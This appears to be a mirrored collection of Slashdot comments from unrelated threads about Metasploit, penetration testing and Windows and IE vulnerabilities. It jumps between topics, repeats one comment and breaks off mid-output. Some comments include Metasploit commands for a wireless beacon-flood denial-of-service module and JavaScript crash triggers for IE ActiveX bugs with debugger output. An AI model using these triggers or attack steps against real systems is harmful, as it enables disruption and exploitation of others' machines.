Slashdot Mirror

They didn't dance along the edge of legality. They danced over and never looked back. Legitimate pen test services are painfully aware of this and have the paperwork to prove it.

Ars should have enough sense to check things out for the sake of their own credibility. If Ars Technica bothered to ask anybody who's ever worked in the security industry they would have quickly learned the indemnification is taken very seriously.

http://www.isaca.org/chapters3...
https://pen-testing.sans.org/b...

Hell, even metasploit has been talked about this for years!
https://dev.metasploit.com/pip...

The only people fooled by Gizmodo's phishing logic were the editors who signed off on this to begin with. Next time ask a pro before you publish, it will help you avoid looking the fool.

No matter what certifications you get (although you should get certified, for legal reasons as mentioned by others), it's critical that you keep abreast of what's going on in the field, otherwise you're not doing your job. Listen to podcasts on the way to, from, and while you're at work. Read all the websites you can. And learn the tools.

This Week in Enterprise Tech: http://twit.tv/show/this-week-... - frequently mentions useful tools and products for testing or securing a business.

Security Now: http://twit.tv/sn - hosted by one of the best known names in the business, Steve Gibson.

Internet Storm Center: http://isc.sans.edu/ - Website has all kinds of detailed on latest vulnerabilities and security issues - podcast is also available in daily or monthly form.

Kali Linux: http://kali.org/ - can be used as a bootable environment or installed on a partition as a portable pen testing "toy."

Metasploit: http://www.metasploit.com/ - Widely used, frequently updated pen testing kit.

But there are also well-documented CSS vulnerabilities, XUL exploits and even one in a JPG parser.

Should we disable those as well? Are you part of some guerrilla marketing campaign to bring back Lynx?

Lets hope NASA read the research by HDMoore back in 2010, where he identified security mis-configurations with the VxWorks software.

http://www.metasploit.com/modules/auxiliary/admin/vxworks/wdbrpc_memory_dump/
http://www.darkreading.com/vulnerability-management/167901026/security/application-security/226100011/researcher-pinpoints-widespread-common-flaw-among-vxworks-devices.html

And now the worst news of all for you: the HTML engine (or any other portion) of the browser can and often does contain exploitable unpatched vulnerabilities. So even if you disable JavaScript you can get infected.

I was going to call "citation needed", but then I Googled around and found an example.

The bottom, line the best way to protect yourself is honor the following three golder rules:

1. Keep your browser and OS updated with security fixes.

2. Don't visit suspicious websites and don't open suspicious email attachments.

3. Use a good antivirus that monitors your internet traffic.

Profit?

I'm not a fan of antivirus software, but otherwise I completely agree. Defense-in-depth is the only defense.

Metasploit only has a couple dozen exploits for OSX. On the windows side, it has a search field for Microsoft Security Bulletin ID. Metasploit is the lazy-man's way to hack, if you don't want to go through the trouble of finding your own exploits. That could partly explain the issue.

Not quite

# Vulnerability Type: Stack Buffer Overflow
# Bypasses DEP: Yes
# Bypasses ASLR: Yes
# Exploit Requires JS: Yes
# Vulnerability Requires JS: No

I guarantee that its exploitation isn't limited anymore: an initial exploit module was added to Metasploit last night.
Metasploit module

The problem is that in attempting to load a remote media file, the application is tricked into loading a malicious DLL located in the same directory as the media file.

`2. If the application tries to load a DLL whose name consists of a NULL, it will search for a file named ".DLL". This is exploitable in most cases and affects at least one Microsoft product.'

HDM ended support for the GTK and web interfaces when he was purchased. Now, you need to purchase Metasploit Express ( http://www.metasploit.com/express/ ) to get a graphical interface for Metasploit.

has had this functionality for months now...
http://www.metasploit.com/modules/exploit/windows/fileformat/adobe_pdf_embedded_exe

Now, it's entirely possible that he found this on his own. But it's not exactly a new development...

Also, before anyone goes and claims to have found a way to get Java applets to execute arbitrary code as well:
http://www.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/multi/browser/java_signed_applet.rb

has had this functionality for months now...
http://www.metasploit.com/modules/exploit/windows/fileformat/adobe_pdf_embedded_exe

Now, it's entirely possible that he found this on his own. But it's not exactly a new development...

Also, before anyone goes and claims to have found a way to get Java applets to execute arbitrary code as well:
http://www.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/multi/browser/java_signed_applet.rb

I spent the morning reverse engineering the Trojan and wrote an Nmap script to detect if a remote system is infected.

Looks like Metasploit has a payload module to go with this backdoor. Nifty!

http://www.metasploit.com/redmine/projects/framework/repository/revisions/8136/entry/modules/exploits/windows/browser/ie_aurora.rb

Came out yesterday. Oh and it works for IE 7 and 8 (just not 100% reliably, but that can be modified). This is definitely in the wild now.

Hello, This advisory had been published at the 9th of September http://g-laurent.blogspot.com/2009/09/windows-vista7-smb20-negotiate-protocol.html, about a Kernel Crush made by specially crafted SMB packet to port 445. This advisory were published in the begining as Denial-Of-Service but soon people found that it was exploitable! Soon lots of people tried to be the first to create working exploit for the MS09-050 (SMB2). Till then, Microsoft told that un-till an update will be available you can disable SMB2 and not ports 445/139.

Also, CoreImpact had first published an remote exploit PoC to their members at the 17th of Septemeber. Which means that an exploit had been found to subscribers at 17/9!!.
So this article is basically wrong. Anyways, more researchers still tried to create public exploit for it such as http://blog.metasploit.com/2009/10/smb2-351-packets-from-trampoline.html which describes what his way of exploiting this using 351 packets to achieve jump to his code (remote code execution).

So... This article has more than a few points which are not accurate including the "The first windows 7 zero day exploit" title.
Cheers.
Zuk

You're right, it is hard to find that information on Windows. http://www.metasploit.com/users/opcode/syscalls.html is one resource, looks like 424 according to them. Admittedly not a whole lot more.

I believe this is the http://www.visualcomplexity.com/vc/project.cfm?id=392 link I was thinking of when I made my original statement.

http://www.metasploit.com/

Not generally malicious, but it is malware lego.

The "many eyes" factor is bullshit, it doesn't work in real life. It doesn't seem to stop bugs from getting into Open Source software. In fact, in at least one spectacular case, the OSS model actually introduced a nasty security bug.

This idea that with OSS if you find a bug you can patch it is also bullshit for the most part. It assumes that the user is both a competent programmer in the implementation language and knowledgeable enough to patch the application without making the same kind of screw ups that Debian did with OpenSSL. As far as most people are concerned, if they find a bug in OSS, they will just report it to the development organisation in much the same way as they would for proprietary software. At that point, they are in pretty much the same boat. Almost.

I think the real advantage of OSS is actually nothing to do with the quality of the final product being better. The real advantage is that the whole development process is usually out in the open. The bug tracker is almost always on a publicly accessible web site so you can see what people are saying about your bug and what progress is being made. You can see the source code (obviously) but you can also take a look at the source code control system. You can subscribe to developer mailing lists to get a feel about how things are going and how professional the developers are. You can examine the change control process (even the company in the article managed to do this but it doesn't seem to have occurred to them that they can't easily examine change control in a proprietary company without the co-operation of that company.) The whole development process is open to scrutiny from the customers. This is almost never the case with proprietary software.

Yeah because that's proven to be safe so far.

Defence in depth people, defence in depth.

None of my machines run IPv6, to me it's a security risk. None of the "big" operating systems have had a secure IPv6 stack. BSD, Darwin, Windows, VxWorks, and Linux have all had DoS conditions, and one of those bugs had a code execution PoC floating around.

hdm does a pretty good job of pointing out some problems in IPv6 in http://metasploit.com/data/confs/sector2008/exploiting_ipv6.pdf, too

http://blog.metasploit.com/2008/07/on-dns-attacks-in-wild-and-journalistic.html
at the end of the page

The reporter has published a correction, which is also reflected on the Metasploit Blog.

I've got the same key for my ssh sessions (with apologies to Debian).

Oblig. mention of the Metasploit project.

point. click. root.

Sorry to burst your bubble, but all the radio stuff runs on a completely seperate (and heavily locked down) CPU; they wouldn't be able to do any more damage than on any other smartphone in existence. Also, there's a nice security hole in MobileSafari right now which allows web pages to run arbitrary code (as root), and HD Moore has a detailed step-by-step guide to exploitation, but I don't see any mobile phone network meltdown yet. (Of course, this is much, much worse than allowing users to install software from a "reducing the mobile phone network to slag" point of view; imagine if someone hacked a popular Apple-related site and inserted an exploit that turns the iPhone into a DDOS zombie...)

Don't be obtuse. You don't design for security as an afterthought.

http://www.metasploit.com/
http://code.google.com/p/iphone-dev/
http://iphone.fiveforty.net/wiki/index.php/Main_Page

The fact that Apple is so insistent upon not allowing third-party apps on the iPhone is evidence that they do not expect the iPhone to fill the role of a PDA. I have been wondering if the reason Apple is so insistent upon keeping third-party apps off the iPhone is because of the enormous security risk this poses.

A rootkit takes on a whole new meaning when the attacker has access to the camera, microphone, contact list, and phone hardware. Couple this with "always-on" internet access over EDGE and you have a perfect spying device.

If this conclusion is valid, then I expect Apple plans to fill that void with a separate device, as the demand is almost certainly there, given the very active interest in third-party apps for the iPhone.

Stand back baby, I'm a Nessus monkey with a long list of a**holes, a can 'o nmap, a fully loaded Metasploit, and I ain't afraid to use 'em.

Take that webpad and put metasploit on it. It probably won't be click and drool, but the attacks will be way more current (hint: who had 802.11 exploits in their product first?)

Here's an exhaustive list of Windows NT syscalls in every service pack since NT4 SP3. NT 3.1 (not listed) has 180, NT 4.0 has 248, XP has 284, Vista has 394 (the greatest increase in a single version), mostly for transaction support, a new IPC mechanism and configuring the new boot loader. I'm not familiar with most of Vista's new functions, but I know that all the functions in XP are necessary. BTW, Linux 2.6.20 has 319 syscalls (according to arch/i386/kernel/syscall_table.S). Several of the Linux syscalls have become placeholders, obselete. Show me a single obsolete/compatibility driven NT kernel syscall.

Applications interface with Win32, not the syscall API (also known as the NTAPI or the native API). Win32 is where all the compatibility hacks are, and it is indeed more ugly because of it. NTAPI is insulated from apps and contains no compatibility hacks or baggage. Even so, the NTAPI is very stable; I'm not aware of a single function that was implemented and has changed or become obsolete or depreciated.

All the mess of Vista development is in user-mode, especially in Win32 and the shell. All of the features planned for the kernel in Vista have shipped and were ready long before release, AFAICT. It's most of the user-mode stuff that's been scrapped or scaled down and is a mess.

If they're showing syscalls, then what are all the lines connecting them? Syscalls don't call each other; they're an array of functions called from user to kernel mode, in that direction only. How does one show relationships between syscalls exactly? It's awfully convenient that the graphs are too blurry to actually read the bubble text or we might be able divine what they're talking about.

Core's not a vulnerability scanner.

Don't get me wrong, it's a great product, but Core Impact and Immunity's Canvas are in a class of their own (well, along with Metasploit of course). Different focus for the product, so an entirely different set of requirements you'd compare them against. They're built specifically for penetration testing. They don't just look for vulnerabilities, they actually try to exploit those vulnerabilities and use them to exploit other vulnerabilities.

So if, for example, you were to compare the above three products with the 12 (11?) in the review, they'd look pathetic in terms of total number of exploit checks. That's a pretty important comparison for VA products, but not so much for pen-testing. For pen-testing, you want checks that you know you can actually use. For VA, you don't really care, you just want checks for things that someone might be able to use, even if you can't.

Of course, for the attacks they do have pen-test products can do much more with them, but again, just a different focus for the products.

Doh, wrong button :-) A remote exploit for a widely-deployed wireless driver from Broadcom was published today. This is the first remote public exploit that abuses a driver flaw to execute arbitrary shellcode :-)

A w idely-deployed wireless driver</a> from Broadcom was <a href="http://projects.info-pull.com/mokb/MOKB-11-1 1-2006.html">published today</a>. This is the first remote published, public exploit that abuses a driver flaw to execute arbitrary shellcode :-)

Install the latest Lorcon snapshot:
$ http://www.802.11mercenary.net/lorcon/

Grab the latest version of metasploit 3:
$ svn co http://metasploit.com/svn/framework3/trunk/

Compile the Metasploit Lorcon wrapper:
$ cd trunk/external/msflorcon
$ make

Plug in a support network card (I use a WPN511 with the madwifi-old driver in Gentoo)

Load the Metasploit Console (as root, since it needs raw WiFi access)
# trunk/msfconsole

Play with some of the demo modules :-)

This is an example of sending fake beacon requests to flood the Windows Wireless Network Browser:
msf > use auxiliary/dos/wireless/fakeap
msf auxiliary(fakeap) > show options

Module options:

      CHANNEL 11 yes The default channel number
      DRIVER madwifi yes The name of the wireless driver for lorcon
      INTERFACE ath0 yes The name of the wireless interface

Type the "run" command, or use "set VARIABLE VALUE" to change these options.

msf auxiliary(fakeap) >run

meh. screwed up the post. no coffee yet this morning.
exploit code

Gadi Evron's post on Bugtraq

  Third party fix.

See if you are vulnerable.

In other news, according to SANS, there is publicly available exploit code out there for the new setSlice bug. According to Gadi Evron's post, "there's a rootkit, some malware, and haxdor". There's a third party (easily reversable) fix , and a way to test if your browser is vulnerable here.

I agree with Dave on this. Using Metasploit in its current form isn't much fun on the Zaurus. I have been working on something similar off and on for the last two years (using two Z 5500's) and the biggest problem is the user interface and automation. While it is possible to script up some ninja magic with Metasploit, the time required to do it right may be worth the price of the Immunity's SILICA device.

As version 3.0 of the Framework gets closer to release, expect the situation to change. The new plugins and auxiliary modules will allow this type of automated hackery and tool integration. If anyone wants to help, we are always looking for sharp developers. The 3.0 codebase is written almost entirely in Ruby and we even have some developer documentation. Anyone interested should send an email to hdm[at]metasploit.com with a list of their skills and any specific areas they want to work on. The 3.0 beta 1 release can be obtained from the following URL:

http://metasploit.com/projects/Framework/msf3/

-HD

In my opinion, one of the main purposes of Vista is to get people to buy new computers. Microsoft makes most of its money by selling to computer manufacturers, so Microsoft does what they want, not what is good for the customers. That's the reason Microsoft doesn't fix the bugs in Internet Explorer. When computers become slow because of viruses and spyware, people usually buy a new computer.

If Microsoft cared about its customers, it would fix these bugs in Internet Explorer, and many others:

ADODB.Recordset Filter Property

The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched Windows XP SP2 system. The interesting thing about this bug is how the same property has to be set three different times to trigger the exception.

a = new ActiveXObject('ADODB.Recordset');
try { a.Filter = "AAAA" } catch(e) { }
try { a.Filter = "AAAA" } catch(e) { }
try { a.Filter = 0x7ffffffe; } catch(e) { }

eax=001dbfdc ebx=02820e18 ecx=02821288
edx=028212a8 esi=02821288 edi=00000000
eip=4de194f7 esp=0013ade8 ebp=0013adf0
msado15!CSysString::operator=+0x12:
4de194f7 3907 cmp [edi],eax ds:0023:00000000=????????

This bug was reported to Microsoft on March 6th, 2006.


Internet.HHCtrl Image Property

The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched Windows XP SP2 system. This bug is interesting because a small heap overflow occurs each time this property is set. The bug is difficult to detect unless heap verification has been enabled in the global debug flags for iexplore.exe. The demonstration below results in a possibly exploitable heap corruption after 128 or more iterations of the property set.

var a = new ActiveXObject("Internet.HHCtrl.1");
var b = unescape("XXXX");
while (b.length < 256) b += b;

for (var i=0; i<4096; i++) {
a['Image'] = b + "";
}

eax=00030288 ebx=00030000 ecx=7ffdd000
edx=00030608 esi=58585850 edi=00000022
eip=7c911f52 esp=0013afcc ebp=0013b1ec
ntdll!RtlAllocateHeap+0x31b:
7c911f52 8a4605 mov al,[esi+0x5] ds:0023:58585855=??

This bug was reported to Microsoft on March 6th, 2006.

StructuredGraphicsControl SourceURL

The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched Windows XP SP2 system. This bug appears to be triggered by a call to URLOpenBlockingStream() with a NULL pointer referenced by the ppStream argument. The only way I found to trigger this bug is by creating the object through the ActiveXObject interface -- using the standard object/classid syntax (as described here) does not result in a crash.

var a = new ActiveXObject('DirectAnimation.StructuredGraphicsC ontrol');
a.sourceURL = 'CrashingBecauseStreamPtrNotInitialized';

eax=00000000 ebx=7726d35c ecx=02481f30
edx=0013b1a4 esi=00000000 edi=00000000
eip=772ba3bc esp=0013b18c ebp=0013b1b8
urlmon!CBaseBSCB::KickOffDownload+0x7a:
772ba3bc 8b08 mov ecx,[eax] ds:0023:00000000=????????

This bug was reported to Microsoft on March 6th, 2006.


Table.Frameset

The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched Windows XP SP2 system. This bug was found by Aviv Raff using the DOM-Hanoi fuzzer script. DOM-Hanoi works by building trees of every combination of elements up to the specifed depth. An alternate PoC could use plain HTML instead of javascript.

var a = document.createElement('table');
var b = document.createElement('frameset');
a.appendChild(b);

eax=00000000 ebx=01884710 ecx=01886c60
edx=00000027 esi=0013aeb0 edi=01884730
eip=7dc995ad esp=0013a

The link is here for those that missed it...

Um, Win98 is much more secure than WinXP these days, if only by obscurity. Just try to find a Win98 remote exploit out there all packaged up for a script kiddie. They don't exist, or at least they're very hard to come by. OTOH, check out metasploit, milw0rm, etc. They're full of exploits for WinXP, Win2K, Win2K3, etc. The largest target is the NT-derived Windows versions. All else are really not a concern or worth the trouble for a hacker. Nearly the only way a Win98 host turns into a zombie these days is by installing malware intentionally. It just doesn't get in all by itself like WinXP et al malware does.

Take a close look at the techniques used, and it's no wonder those "criminal cracker gangs" we keep hearing about have no apparent problem coming up with fresh 0-day exploits to sell if they are applying something like this. The only defence against this is going to be that you ship robust code that you can guarantee will handle any malformed data gracefully from day #1. That's going to take some getting used to in places like Redmond, WA where the "if it compiles, ship it" approach seems to have been the standard for so long.

I think the author of the editorial makes a rather trivial point. (They could have made the point a lot stronger, pointing out that malware, spyware, adware, trojans, etc., are all able to be run from within unprivileged user-space.)

I don't think it's a trivial point as there are many people who don't get it that reducing privileges isn't a solution.

(a) Smaller target.

That point is becoming more and more moot due to things like Metasploit.

(b) Remote exploits. This, I think, is a lesser issue, but not a trivial one--there are a considerable number of remote exploits in Microsoft software, and there have been a non-trivial number of viruses and malware that spread through this vector.

I think the key question is to determine the ways the PC of an average user gets compromised and decide which OS does a better job in preventing these attack vectors.

In my experience, there are two major ways a Windows box gets owned, either by a remote exploit or by tricking the user into running malicious code. As you say, *NIX wins the first category, although Microsoft is slowly catching up.

The second category is much more interesting, however. Under *NIX, it usually requires pretty much knowledge if you want to execute third-party code (unless some brain-dead distribution registers wine as the default handle for EXE files).

The exploit is a flop. The guy should get his money back.

Huh? It worked just dandy on all the machines I tested on. Well, at least the Metasploit WMF exploit mods did.

It's not the sellers fault those pesky white hat hackers discovered it so soon. :) Buyer beware!

For me, that length==1 trigger is the most convincing evidence.

The metasploit framework module is a direct rip of the original exploit. All I did was remove the download+exec code and allow the user to specify their own payload instead. I needed to test the bug on a few platforms and didn't feel like attaching a debugger each time :-)

The source can be found here:
http://metasploit.com/projects/Framework/exploits. html#ie_xp_pfv_metafile

-HD

already up on metasploit

1) Metasploit isn't a graphical exploit; it's a Perl shell

I guess I was referring to this:

"Version 2.3 of the Metasploit Framework includes a web interface"

when I meant graphical.